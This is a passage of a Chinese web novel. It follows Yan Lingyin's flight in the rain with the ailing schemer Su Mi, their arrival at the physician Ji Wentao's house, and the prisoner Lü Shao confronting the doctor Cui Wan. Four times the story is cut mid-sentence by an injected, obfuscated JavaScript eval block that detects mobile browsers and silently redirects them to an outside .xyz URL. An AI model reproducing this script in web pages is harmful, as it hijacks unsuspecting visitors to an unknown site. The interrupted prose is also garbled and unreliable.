长剑带着怒气从背后刺来,白行也轻巧地挥刀格挡,像拨开一只气急跳脚的雏鹰:“忘了说,替我带话给那个用匕首的人,要见我,他不够格,让他主子亲自来。行不更名坐不改姓,鬼杀刀白行也,记好这个名字。” 跃上槐枝时,白行也收了刀,指腹磨过柄上的飞字暗纹。她顿了顿,又回头看向树下的少年,扬声补了一句。 “你打不过我的,希望……我们不要再见了。” * 孟呈骑着马,跟了江渊然在雨中疾行。这趟任务出得奇怪,江渊然没细说,跟过来的几个人也云里雾里,但他们向来信得过这位年轻的右少卿,谁都没有多问。 将至殷宅时,江渊然忽然勒住了马,他动作太急,那马长嘶一声扬起前蹄,又踏了几步才安静下来。 “诸位等我片刻。” 他这一停,孟呈已冲到了前面,他勒马转了过来,不解地看向江渊然:“大人这是?” “好像见到了……”江渊然说到一半,忽而止住了话头,“无事,我去去就来。” 这种事确实不便说给旁人,毕竟就连他也不敢相信,晏泠音会来这里。 是他看错了罢。 想是这么想,面上也波澜不惊,调转马头的动作却没有丝毫迟滞。江渊然夹紧马腹,只是要它跑得再快一点。他心里有着不知何来的惶恐和期盼,既怕是她,也怕不是她。 许是今日雨下得太大,他这几天太忙,情绪又闷了太久,猛兽般的洪水悄无声息地醒了过来,在他小心筑起的堤坝后汹涌,叫嚣着要决堤而去。 只看一眼就好。 奔至他方才瞥见人影的巷口时,江渊然扶鞍下马。长巷弯弯绕绕,他牵着缰绳,每过一处拐角便要屏住呼吸。没有,没有,没有……走出一长段路后,他不觉失笑,想自己怕是疯魔了,就为一个模糊的背影,在这样的天气,在这种她不可能来的地方寻人。 再转一个拐角,就回去。 江渊然迈步过去,微眯了眼。凉风挟着雨拍在面颊上,跟着袭来的却是一柄白刃。身旁的马被惊得轻嘶一声,下意识就往后缩,而他握着马缰的手陡然一紧,不避不让,任那把短刀架上了自己的脖颈。 握刀的女子面色苍白,浑身都在往下滴水,执刀的手轻轻颤抖着。她用力咬着唇,似在拼命克制什么,看清他的那一瞬,她怔了怔,随即长出了口气。 “回兄,你怎么……” 江渊然松开缰绳,迎着那柄短刀上前一步,默不作声地解下身上的油衣,罩在了她的头顶。 喧哗的雨声忽然被隔绝在外,晏泠音立在油衣的阴影里抬眼看他。她鬓发皆湿,嘴唇冻得发紫,一滴雨珠挂在她的眼睫上欲坠不坠,像盈盈的泪。 而他站在油衣之外,站在瓢泼大雨之中,伸着双臂将她拢在身前。他能感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431910|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她呼吸急促,亦感觉到自己心跳狂乱。他的胸口剧痛,一时甚至不能呼吸。 怎么会淋成这个样子? 旁边有人轻咳了一声,江渊然倏地抬眼,越过晏泠音往声音的来处看去。那是一个高而瘦的男子,同样浑身湿透。他裹着玄色的罩衫,靠着巷中爬满苔藓的石壁,沉默地望着他。 望着他和晏泠音。 那张脸艳美得近乎妖异,眸光却比冰刃还要寒凉。江渊然不喜欢那种目光,他从第一眼就不喜欢那个人。 只是他涵养良好,不会把敌意这样明晃晃地放在脸上。 晏泠音也听到了那声咳嗽,脸色变了。现在没有解释的时间,她和江渊然之间也不需要解释。只要一个眼神,他便知道她想做什么,她如今的情势又是何等急迫。 “我来的路上,没见到旁人。”江渊然言简意赅地开口,语速很快,“骑我的马走。” 那匹黑马轻轻打了个响鼻,随着主人的指引看向了晏泠音。江渊然没等她回答,已经将油衣妥帖地系在了她的身上:“到了之后让它自己回来,它认得路。” “你为什么在这里?”晏泠音眨掉了睫上了水珠,被他扶上马背,俯下身低声道,“你……要去殷宅?” 她不知想到了什么,极轻地打了个寒噤,忽然抓住了江渊然正要收回的手。 “……别去。” 不是什么难猜的事。殷宅今日闹成这样,总要有人来担责。谁杀了人,谁劫了人,起码在明面上,要给殷禹,给她的父皇一个清楚的交代。 这是件烫手的差事,江渊然肯接,定是晏眆提了条件。 而他原本是那样憎恶交易的人。 江渊然抿唇不言。晏泠音的手很软,也很凉,覆在他的手背上,没有一丝热气。他其实早已下定了决心,哪怕前面是再厚再硬的石墙,也会毫不迟疑地往上撞。他不怕头破血流身首异处,但在此刻,在这极短的一瞬,他忽然生出了惧意。 人因贪而生惧,他也是人,躲不过的。他害怕那只手一直这样冰冷,害怕他此时将它推开,就再没有握住它的机会。 但他还是缓慢地抽回了手。 “回兄。”晏泠音又唤了一声,嗓音发哑。 她难得求他,可此刻的他却没有点头的力气。 总要有人被推上浪尖风口,将这些一团乱麻的破事包揽下来。他是最合适的人选,合适到旁人也愿意花大价钱买他出面。 “阿暄,”这句旧日的称呼一出口,两人都是一怔,江渊然闭了闭眼,狠心继续道,“你要信我。保重。” 他用力抽上黑马的臀部,那马吃痛,扬蹄跑了起来。几步过去,晏泠音勒马回望,雨水蒙住了她的视线,在她脸上留下纷乱的水迹。 而她只看见了江渊然的背影。 苏觅已从墙边直起了身,眸光很暗,双颊烧得泛了粉。晏泠音回过头,掉转刀柄,将短刀递还给他,又不想让他看见自己的眼睛,咬牙侧过脸去。 “上来。” 一只骨节瘦长的手攀住了缰绳,过了片刻,有什么贴住了她的脊背,带着温热。 黑马又长嘶一声,载着两人,撒开四蹄往雨幕深处跑去。 29. 假戏 “舍不得?” 这是一条陌生的街道,两侧都是低矮的民宅,家家门户紧闭。苏觅的右臂从她腰侧绕过,虚环了她,控制着马缰。这人看着瘦弱,晏泠音本没想到他会骑马,只觉不把人颠下去就是万幸。 此刻他微热的气息喷在耳侧,她能听懂,但因为他问得太不客气,她不想答。 “我若应了,”晏泠音在呼啸过耳的风声里问他,“公子就会高抬贵手,放过我们吗?” 不知是话中的哪个字触动了苏觅,连带着落在她发间的目光也发了烫。可那道嗓音响起时,却依旧轻柔而温和:“我方才隐约听见,江少卿说要姑娘信他。即便如此,姑娘依旧要怀疑我,依旧要指责我吗?” “公子下得一手好棋,”晏泠音冷冷道,“可是天理昭昭,算计太多,只怕会遭报应。” “不巧,”苏觅的嗓音带着病中的哑,因为没了笑意,听着格外凉薄,“我从来不信什么天理。” 他攥着马缰的右手微抬,随意点了身周的几处:“若世上真有天理,又为何会有这些朽烂漏雨的草房,有房内衣不蔽体饥寒交迫的百姓?” 晏泠音顺着他手指的方向看去,这一片已近城郊,荒凉得厉害,民房都是草草搭建,破败不堪。宛京城并不小,城中也不是没有笙歌乐舞的花酒地,但她此前从未来过这里,因而也不知道这看着繁华入眼的京城,竟然有如此衰败的一面。 “工部……”晏泠音想起了供职工部的江旻,顿了一下,这才往下接,“就就这么放任不管?” 苏觅轻笑了一声,他的胸膛贴着她的脊背,因而那气息的震动也格外明显:“姑娘怪错了人,不是工部不想管,而是国库捉襟见肘,有心无力罢了。” 他明明是幽国人,可说起梁国的财政时,却又这般自然而笃定。晏泠音心里闪过一丝没来由的不安,她定了定神,慢慢道:“在其位者谋其政,天下本就没有什么容易的事,总不能因为难做就事事退让。” “这么看,我和姑娘倒是同路人,”苏觅叹了口气,没再提什么国库,转而绕开了话头,“逆水行舟不易,还望姑娘日后多多照拂一二。但姑娘既然明白万事都有代价,就该知道,江少卿也只是走了他选择的路。若是信他,就莫要拦他。” 他呼吸微促,语调却悠长平稳,一点一点、从容不迫地劝诱着她。晏泠音垂眼看向他握着缰绳的手,它相当好看,却毫无血色,连指甲尖也泛着白:“公子话说得漂亮,但棋子何曾有选择的机会。一直想请教公子,我,也是你手中的一步棋吗?” 身后有半晌静默。晏泠音想,无妨,她早已知晓答案,不必再听他编出来的花言巧语。她只是曾经有一霎的错愕,或者说一霎的心软,在她朝他伸出手,而他轻轻握住的一瞬间。 那一瞬有无数冷箭划破白夜,天际电闪直贯而下,照亮了面前男子的脸。他细长的瞳仁黑而微亮,里面是一池化开的春水,碎冰叮当碰撞,像被拨乱的弦音。 几乎是顷刻间,晏泠音便意识到了,此前从未有人这样向他伸出过手。他从来没有被人以不容抗拒的姿态选择过。 但那一霎转瞬即逝。他阖了下眼,再睁开时,又是笑意盈盈的万年寒冰。 正如现在。 耳畔传来微痒的触感,晏泠音一惊之下侧过了头,下意识伸手去挡。苏觅负伤的左手不知何时抬了起来,两指微屈,将她被打湿的碎发拢回了耳后。他的指.尖也是烫的。 “何止是姑娘呢,”他轻声道,“连我也是棋子,身在局中。既然逃不得,不可逃,何不就此放开手,以天地为棋盘,搅他个地覆天翻?” “姑娘,愿意陪我走这盘棋吗?” 雨变小了,风声再起。苏觅的话被风吹散开去,显得极远又极近:“那日我就同姑娘说过,梁国的朝政已行将就木,入了死局。撇开浮在表面的熙攘富丽,背后还有多少阴暗,是姑娘不曾见过、不能想象的?我来梁国的那一年,行经四个大州,其中有半数遭逢病疫,我行陆路,见的是白骨蔽野,行水路,见的是河鱼争啖人肉。时值仲春,飘絮遍天,但风过柳枝,拂动的皆是白生生的骷髅。地方官长却怕丢了纱帽,封了消息,不敢将之上达天听。” 他嗓音太柔,低低地附在耳边,仿佛不是在讲什么骇人听闻的惨状,而是情人间的呢喃絮语:“姑娘,蠹虫是看不见的。梁国文昌武盛,上位者也不会伏低姿态往下看。但百姓何辜?天下大治不过是痴人说梦,姑娘知道得多了,便不会再这般天真。” 晏泠音的心慢慢沉了下去。她浑身发寒,而她明白那并非淋雨的缘故。她此前被护得太好了,有父皇和母妃,有恩师和情比兄妹的同门。她生来就在高处,无论她甘心与否,她都只能被困在小小的宫墙之内,看不到墙外的河山,更看不到河山下的阴影。 她爱着的人,爱她的人,都愿她一生顺遂平安,她就该居高阁枕玉席,直至窒息在彤庭金屋的牢笼里。杜慎曾试过把她拉出来,可他太疼爱这个学生,许多事他不教,不是不能,而是不想。后来他死了,她同外界的联系也彻底断了。她每日浸在秘书阁的经卷里,那里太静,哪怕在炎炎夏日,也如居数九寒冬。 直到身后这个人出现。他毫无来由地牵过她的手,提着灯,领她走过狭长的寂寂地道。出口处是她老师的墓园,那里葬着她曾经无忧的岁月。 他来的时机太巧了,正好在她最脆弱不堪、最渴望逃离的时刻。因而她跟了上去,哪怕知道尽头是吞噬人的污泥,也好过一直缩在虚假织成的壳中。 “既然公子看得这般透彻,”晏泠音攥紧了手,反问他道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431911|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “又为什么要帮我五哥?还是说公子早已对世道绝望,所谓的放手一搏,也不过是游戏此间,聊以度日罢了。” “总要活命啊。”苏觅语声惆怅,“刚入京时我便生了场大病,若非五殿下出手相助,姑娘今日,可就看不到我了。” “他已经开始顾忌你,鸟尽弓藏的道理,公子应当比我更清楚。” “不错,”苏觅微微颔首,赞同道,“所以才说,要姑娘多多照拂一二。” 晏泠音忽然拉住了缰绳。她的手盖过了苏觅的手,握得很紧。两人一马就停在如帘如幕的细雨里,马在呼哧喘气,而马背上的两人一时都没有出声。 她在这场静默里回头望向苏觅。已经数不清是第几次,她试图探出那眼眸深处暗藏的东西。 “你到底想要什么?” 雨簌簌而落,划过他如画般绝俗的脸。他还在发烧,眸中似有雾气,笼着连绵的山。 原本收在他袖中的短刀已被晏泠音抽出,抵在了他的喉间。而他看着那雪亮的刃,轻声细语地开口:“天地虽大,却并无你我的容身之处。姑娘和我相遇在樊笼,如此缘分,当知道我所求与姑娘相同。” “待此间事了,我只愿拂衣而去,做山野间的清狂客,逍遥此生。若到时姑娘还有意,我自会备酒奉茶,邀姑娘闲饮。” 刀刃太过锋利,他颈间伤口未愈,此刻又渗出了几滴殷红。晏泠音的眸中晃着那抹赤色,不惯执刀的手又极轻地颤抖起来。 “杜老先生,”她咬字用力,气息不稳,“是你什么人?” 苏觅轻轻推开那柄短刀,指腹在刃口磕出了血:“虽曾听过先生的名字,但未曾谋面。” “你胡说!”晏泠音终于忍耐不住,厉声道,“你费尽心思要动东云台的旧案,闯进殷宅去救夏樵客,引诱殷禹招惹晏眆,这些事,你要怎么解释?” 她原本还不甚确定,步步试探,反唇相讥,可在他说出那场不为人知的大疫时,她无比清晰地忆起,那一年是杜慎向晏懿请旨,彻查地方官员瞒情不报,枉顾人命。 “吕绍回京是你安排的,灰瓦巷的宅子是你置办的,连那条地道,也是你早早打探好,这才告知于他的。”晏泠音没有收刀,就那样抵着他流血的手,“老师碑上的字不可能是吕绍所刻,因为他已故的老母讳万春,他不会不避母讳用上一个‘万’字!” “公子好手段,”她声音极冷,“把目的瞒得这样深,我自愧不如。” 旧友的生命可弃,己身的安危可抛,他下手果断狠决,什么都能算计,什么都能利用。他说错了,他和她从来不是同路的人。只是凑巧,他们殊途同归罢了。 “老师的事你知道多少?”在他漫长的沉默里,晏泠音寒声问了最后一句,“他被诬陷,到底是谁做的?” 30. 真做 原本咆哮的风静了下来,将雨丝吹得漫天飘洒。那是一张细密的网,濡湿了晏泠音的鬓角,又缓慢而轻柔地将她罩在其中。 她耳后的那绺发在风中轻颤着,耳廓还留着苏觅手指微烫的触感。 而他就在这时咳了起来。 这本该是个拙劣的回避手段,但晏泠音很快发觉,事实似乎并非如此。从那发闷的第一声咳开始,苏觅虚握成拳抵在唇边的手上,就沾上了血。 他微弓了背,偏过头去,每一声都是闷在胸中的,手也没有离开唇边。可他瘦削的肩膀颤动得越来越快,连带着整个人都在抖动。晏泠音冷眼看他,他分明已经喘不上气,却还在用力压制着,而血就从他紧抿着的、苍白的唇角,止不住地往外溢。 那粘稠的、赤色的水本来相当惹眼,但滴到他玄色的罩衫上,流进他艳红的袖摆里,便自然地同它们混为一体,再也辨不出来。 这是……肺病? 晏泠音曾见宫中的嫔妃得过,那是无药可治的顽疾,连最好的御医也会摇头叹息。痊愈与否看的不是大夫的医术够不够高,而是病人的命够不够硬。 苏觅愈咳愈凶,最后整个身子都弯了下去,晏泠音看不清他的脸。但她能见到异样的潮红从他的双颊蔓延到了颈侧,转眼又攀上了耳垂。 他的皮肤白,一旦映上其他颜色,便分外触目惊心。 晏泠音伸手去拨他的领口,苏觅偏了下头,像是要躲,但马背上可供腾挪的空间有限,他现在又虚弱得厉害,这一挣扎,反而将衣领扯开得更大。 那景象让晏泠音倒抽了口凉气。 密密麻麻的红疹像是雨后初生的草,在他白皙的颈上烧得到处都是。一看便知是极疼极痒的东西,苏觅却沉默着忍到现在,没有吭过半声。 而这一路,箭伤也好,高烧也好,他都表现得像没有那回事一样,除了走路有些摇晃,嗓音有些发哑,他甚至还能从容地笑笑,有意无意地逗她动气,再漫不经心地迎上她递来的刀。 他知道她会愧疚的,不会继续逼讯。 起码现在不会。 那一瞬,晏泠音忽而有了一种可怕的、模糊的感觉,好像她的一切反应都在苏觅的计划之内,他在温和浅笑间遮住了她的眼,让她把唯一能看见的路当作生路,把唯一能抓住的事认成真相。 如果这就是他的目的…… 这一局,是他赢了。 晏泠音默不作声地收了刀,从腰间摸出一只细小的瓷瓶,倒出一粒丸药。它和苏觅赠予她的那只很像,只多了一朵她亲手绘上的栀子花。 “把它吃了。” 苏觅将将止住咳,伸手掩住了衣领,抬眼看她:“这是什么?” 他的声音很虚,眼尾发红,眼中水雾弥漫,浮着一层咳出来的泪。 “保命的东西,你再咳下去,血都要吐光了。”晏泠音将丸药塞入他的手中,“本来想给殷娘子的,没想到……” 她没再说下去,而苏觅定定地看了她一阵,却始终没有要吃的意思。 “这药金贵,”他终于开口,喑哑的嗓音里掺了点笑,“不必浪费在我身上。姑娘收好。” “别逞强了,”晏泠音不禁皱眉,“拿性命当儿戏,公子当真不怕吗?” “为何要怕,”苏觅抿了下唇,说得轻描淡写,目光掠过她看向了前方,“想死也没那么容易,有人吊着我的命呢。” 晏泠音回身看去,见一间矮房的门不知何时已被推开,头发斑白的老者正大步行来。他身后跟着个黑发素衣的小童子,追着他想要递伞。 “先生——拿上伞呀先生!” 季问陶刹住脚步,拎过童子手中的伞,撑开后又塞还给他。小童子呆呆地停下,看着季问陶径直走到了马前,立定在满天细雨中。 他的目光先扫过苏觅颈侧的红,眉间皱成了川字。随后他看向晏泠音,眸中有一闪而过的迟疑。 但只是一瞬,他便拉下了脸,冲苏觅喝道:“愣着做什么?还不进屋!” * 晏泠音坐在东侧的偏房里。这是间药室,三面都贴墙立着高大的木柜,分成数十个小格,标注了各种各样的草药名。她裹着厚重的毛毯,捧了碗姜汤小口小口地喝。那个小童子就坐在她对面,托着肉嘟嘟的下巴看她喝汤,表情认真,眼睛一眨不眨。 直到她喝完最后一口,他才一骨碌爬起来,麻利地去接她手上的空碗:“先生说了,淋雨不是小事,怕贵客着寒,等下还有一剂补汤,熬好了就端来。” 他年纪尚幼,嗓音也奶声奶气的,但学大人说话却也学得有模有样。晏泠音等他说完,这才开口问道:“你家先生认得我?” 看他和苏觅说话的样子,两人应当是旧识。但无论她怎么想,都记不起何时和此人有过交集。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431912|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >老先生年纪虽大,却精神矍铄,气色极好,若她真的见过,不可能全无印象。 “是呀,”小童子捧着碗仰脸答她,“先生前日还念着呢,说不知道贵客什么时候来,该早些准备才是。” 晏泠音抬眸望向屋外。季问陶正坐在檐下,手执蒲扇看顾药炉。白烟从他身前升起,散进檐前的细雨里,像茫茫的雾。 屋檐下的另一侧,魏收和阿承正在斗嘴。此前苏觅一进屋就昏了过去,而她平日里联络用的烟筒被雨打得透湿,没法向外发送讯息,累得他们两人乱找了一阵,又几乎是同时敲响了季家的门。 “你再说一遍?”魏收的声音里满是难以置信,“一个小姑娘?说我‘不够格’?” 阿承从鼻子里哼了一声,显然是被问烦了,懒得再答。 “不是,你小子真没诓我?”魏收狐疑地看着他的脸,“要是真话,你脸红什么?” 少年张口结舌了两秒,抬头望了望细雨绵绵的天,笃定道:“热。” 魏收:…… 低低的争吵声被雨淋湿,又被风吹散,混进了乳白色的烟气里。那是一幅相当静谧的画面,让晏泠音心中也莫名安定了些。周身清苦的药香缠绕上来,是她熟悉的味道。似乎在她也没有意识到的时候,已习惯了在闻到药香时想起一个人。 晏泠音默了一阵。 “苏公子醒了吗?” “还没有,先生正生气呢。”小童子撅起了嘴,腮帮子鼓鼓的,像是在努力模仿季问陶的语气,“先生说公子烧成那种样子,连先前退下去的红疹都发了,能活着回来算他命大。” “先前?”晏泠音一怔,轻声重复了一遍,“苏公子先前就发过病吗?” 小童子想得费劲,伸手挠了挠头:“都是好久前的事了,那时候还没我呢。” 他看着也该有七八岁,换言之,早在那之前,苏觅就认识了这位大夫。 嗒嗒的脚步声远去,随后传来了季问陶模糊的问话声。晏泠音听不清他在说什么,却直觉是和自己有关的事。 她解下了身上的毛毯。片刻后,新鲜的、浓郁的药气灌了进来,她抬了眼,见季问陶端着药盏立在门前,细细打量着她,似乎在准备措辞。 晏泠音站起了身。 老者缓步进了药房,搁下药盏,又同她对视片刻才开口。 他微微颔首,叫她:“晏主。” 31. 迷津 吕绍是被凉水浇醒的。他的头胀痛得厉害,额角一阵一阵地跳,浑身骨节都发着酸。有人把他从地上架起来,替他活动着软绵绵的手脚,又擦去他身上的泥污,给他套上干爽洁净的衣裳。 他的头发被粗暴地梳理着,潮湿虬结的发挽在脑后,露出脏兮兮的、满是血痕的脸。粗糙发硬的毛巾从他的额头抹到下颌,蹭过未愈的血口,让他不自觉地微微战栗。 方狱里时序混乱,他不知道现下是何年何月,但他能隐隐猜到,等待他的将是什么。 “是要入宫吗,”他喃喃道,“今天?” 意料之中的没有回答。狱卒在例行的公事之外,向来不愿和犯人多说一个字。 他费力地睁开沉重的眼,却意外瞥见了不远处的一抹亮色。当滚热的毛巾又一次擦过他溃烂的伤口时,吕绍抖了一下,同时听见了熟悉的女子的声音。 “下面的伤牵着骨头,我来清理。” 狱卒啧了一声,抱怨道:“崔医女,时辰不早了,总不能让陛下等着。” “不会耽误,”崔婉嗓音很柔,却没有要让步的意思,“那儿已经淌了脓,再拖一天,这条腿就废了。” 废就废罢,他也未必能活到明天。吕绍知道狱卒也是这样想的,只是碍着崔婉的身份,不好明着拒绝罢了。 一阵窸窸窣窣的响动过后,吕绍感觉自己的右腿被轻轻抬起。裤脚卷了上去,扯动已黏附在布料上的血肉,痛得他闷哼了一声。 “会有点疼,”崔婉口中安抚着,手下却不停,“剜掉这块坏的,感染才不会扩大,再忍一忍。” 刀尖扎进肉里,乌黑的血便泻了下来,腐烂的臭气在牢房里弥散。饶是狱卒已见过多次,却仍旧会感到反胃。他挥手扇了扇鼻翼,嫌恶道:“小人在外面等,医女好了唤我便是。” 崔婉正专注地处理创口,并没理会他。 这里没有条件替他止痛,吕绍痛得几乎昏死过去。好在崔婉的动作利落干脆,没让他承受额外的痛楚。当她涂完药膏,取出干净布条替他包扎时,他才终于找回自己的声音,哑着嗓子开了口。 “左腿上那块疤,是三年前医女替我治伤时留下的。这几年,一直没找到机会道谢。” 崔婉头也不抬地应他:“治病救人是医者本职,主簿不必放在心上。” “三年前,”吕绍望着牢房破旧渗雨的屋顶,低声道,“医女也救过杜尚书吗?” 崔婉的动作有一瞬停滞,声音却平静如常:“我试过,但大夫不是神仙,会有治不好的病,也会有保不住的人。” 吕绍想笑,可他已瘦脱了相,面颊僵硬得厉害,只能勉强动一下嘴角:“医女有自己的难处,我明白。” 崔婉做好了包扎,却并没立刻起身。她的目光落在吕绍脸上,像是无声的询问。 “或许医女还不知道,”吕绍没有看她,一字一字说得很慢,“当年,有人想要我死。我虽然意识模糊,但还是听见了,那人要我把命留在方狱。” “可我没能死成。我醒来的时候,阿瑾正背着我往家走。她整个人摇晃得厉害,浑身都浸了汗。但她还在哼歌呢……我知道,阿瑾害怕的时候就会哼歌。她边哼边和我说,二郎不怕,我们要回家了。 “我趴在她的肩头,想叫她放我下来罢,别走了,可喉咙像被火烧过,半个字都说不出来。” 崔婉没问他为什么要和自己说这些,只是安静地听着,没应他,但也没就这样离开。 “我一直以为是阿瑾救了我。是她买通了狱卒,骗过了查验仵作的眼目,可后来才知道不是的,她跪在殷宅求她父亲的那一夜,我已经被扔出了方狱,奄奄一息地躺在了乱葬岗。” “当年是谁救了我,医女日夜在方狱奔忙,应当也略知一二罢。” “我只管治病,”崔婉连语调都未曾改变,是她同病人交流时惯用的柔和口气,“其他皆与我无关。” 这种无情的语调叫他厌烦。 “果真如此吗?”他慢慢转过脸看她,眼中闪着意味不明的光,“医女口口声声说自己是医者,那你敢用医者的名义,用尊师季老先生的名义起誓,说你和当年之事毫无关联吗?” 他的精神衰弱已极,不足以支撑他这样疾言厉色地说话,话音未落便咳了起来。当他提到季老先生时,崔婉的神色有一瞬恍然。但她仍保持着半跪的姿势,又在他喘不过气时伸了手,轻拍脊背替他顺气。 “我不能发这个誓,”等吕绍止了咳喘,缓过了气,她才开口,“但我也不后悔。主簿怪我,我不会替自己辩解。” 吕绍的眼已经红了,他看着崔婉,像看着什么难以沟通的怪物:“替自己辩解?若医女当时没有治好我,那是我时运不济,我认!可为什么要让我活下来,为什么用杀人来救人……用旁人来换我的命?” 他越说越激动,手指不受控地痉挛着,像是关了太久的阀门终于打开,水流汹涌,将锈蚀的管道壁也冲得痛苦呻.吟:“那是我的亲兄长……我生来就没有见过的兄长!我以前总是梦到他,梦到他浑身是血地站在我面前,长着同我一模一样的脸……他说阿弟,别忘了我啊。” “怎么可能忘呢,”吕绍的眼逐渐失神,他盯着空中虚无的一点,像是在和某个看不见的幻影交谈,“每年生辰我都会给他烧纸,阿娘知道这件事,但她从来不问。我有时……也真的恨她。” “没人能看出来我有多怕,除了老师,他又总是教我往前看。可即便我拼命读书,走得再快再远,那个人还是跟在我身后。他就像我的影子,要一辈子追着我,只有我死了,才算解脱。” “结果到头来,”他忽而古怪地笑了一下,“我竟还活着,而他死了第二次。一个人能背负几条命呢,崔医女,你手下治过那么多病人,能否替我解答这个困惑?” 他明知那是医者的困境,只要稍有良心,就必将受之折磨。可他太过痛苦,只能用这种方式发泄出来,通过拷问旁人来减轻自己的绝望。 而崔婉没有躲开他铺天盖地的情绪,她接住了,以温柔得几近怜悯的姿态。 “总想着这些,人是活不下去的。杜尚书说得对,要往前看。” 她说着便撑了膝盖站起,最后看了眼地上的男子:“若没有其他事,我便先走了,还有几个病人在等我。主簿的伤虽然棘手,却不致丧命,我诚心祝愿主簿早日康复。” “崔医女!”她走到铁栅门边时,吕绍忽然抬了声唤她。他的声音有点哑,也有点发颤。 “我想问医女最后一个问题,当年那件事,阿瑾她……知道吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431913|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 崔婉背对着他站了片刻,抬手捏了下自己的左肩。熟悉她的人会知道,那是她沉思时的习惯动作,她遇上了难题。 就在吕绍以为她不会回答的时候,听见了崔婉极轻的叹息。 “我和殷娘子交情不深,也不知主簿说的究竟是哪件事。若主簿真想知道,等从此地出去了,再亲口问一问殷娘子罢。” * 崔婉走出危字号牢房时,没见到狱卒,只看到身着绛红官袍的男子坐在桌边,悠闲地喝着茶。 “人呢?”崔婉走过去问他,“方才还急着送人入宫,怎么这时候又跑开。” “被我寻个由头支走了。”崔含章搁了茶盏,不动声色地抬眼看她,“阿婉和吕主簿说的那些,怕是不适合被人听到。” 他天生眉梢下撇,眼尾却拉得细长,在柔和中隐隐透出几分锐利。只有在笑起来时,那令人戒备的锋芒才会慢慢化开,如春冰无声消融。 此刻他正望着她笑。 崔婉原本有些闷闷的,现在那种心绪被他的笑驱散了些,语气也不觉缓和下来:“这不是有叔父么。” 若论辈分,崔含章确实大她一轮。但她毕竟是清河崔氏的嫡系出身,而崔含章是宜陵崔氏的庶子,本家和旁系枝枝蔓蔓各自绵延了数百年,两人间的血缘关系已淡之又淡,早便出了五服之外。她唤这声叔父,是出于教养和礼貌,实则是崔含章该敬她这个侄女。 说是侄女,两人也只相差七岁而已。 “走罢。”崔含章站起了身,顺手拎起了搁在一旁的油纸包,“狱卒至多半刻就回来了,不必等他。你今日还要出诊?” 崔婉跟了他往门口走:“南郊有几个病人,许是因昨日暴雨落了风寒。倒是叔父,大理寺最近正是忙的时候,怎么还有空出来?” 崔含章是大理寺的左少卿,名义上同右少卿平级,实权却更大,尤其在审刑断案时能压人一头。这几日江渊然在刑部和大理寺两头跑,署中不少事都托给了崔含章,确实难得空闲。 “事情是做不完的,倒也不急。我听说阿婉近日胃口不好,还总顾不上吃饭。” 崔婉足下一顿,瞥了眼他手中飘香的油纸包。崔含章也不再吊人胃口,提过来打开给她看:“花林坊的酥饼和糖糕,早上过来时顺路买了。我不惯吃甜,不如给你带回去,免得糟蹋。” 他住在城东,花林坊却远在城南,再怎么顺路也顺不到那里去。何况那家店是京中的老字号,平日里少说也得排上两个时辰的队,这一点他们都心知肚明。 只是谁都不能说出来。 崔婉刚松开的眉头再度皱起,她接了油纸包,正要说句什么,崔含章却已伸手在自己眉间一点,笑着提醒她:“小小年纪皱什么眉,让人看着也闹心。” 他只在这种时候会作出长辈的样子,因为唯有如此,才能给她明目张胆的关心。 崔婉默了半晌。 “刚才吕主簿的那些话,”她转过头去,不着痕迹地绕开了话题,“叔父听了多少?” 崔含章收了指,交叠着轻捻了一下:“一点点。需要的话,我也可以什么都没听到。但是阿婉……” 过耳的风杂着他的长叹:“我也真的希望,你愿意把那些告诉我,不要总一个人扛。” 32. 私心 他说得那样自然,任谁听了,都会觉得那是长辈温情的关怀。担心她的身体,维护她的自尊,闭口不谈她不愿提及的那些隐秘。他将分寸拿捏得恰到好处,从来都只在不远不近的地方站着,绝不越过那条泾渭分明的线。 可他又每每站在界线后冲她笑,轻声说阿婉,如果你愿意告诉我,我会很开心。 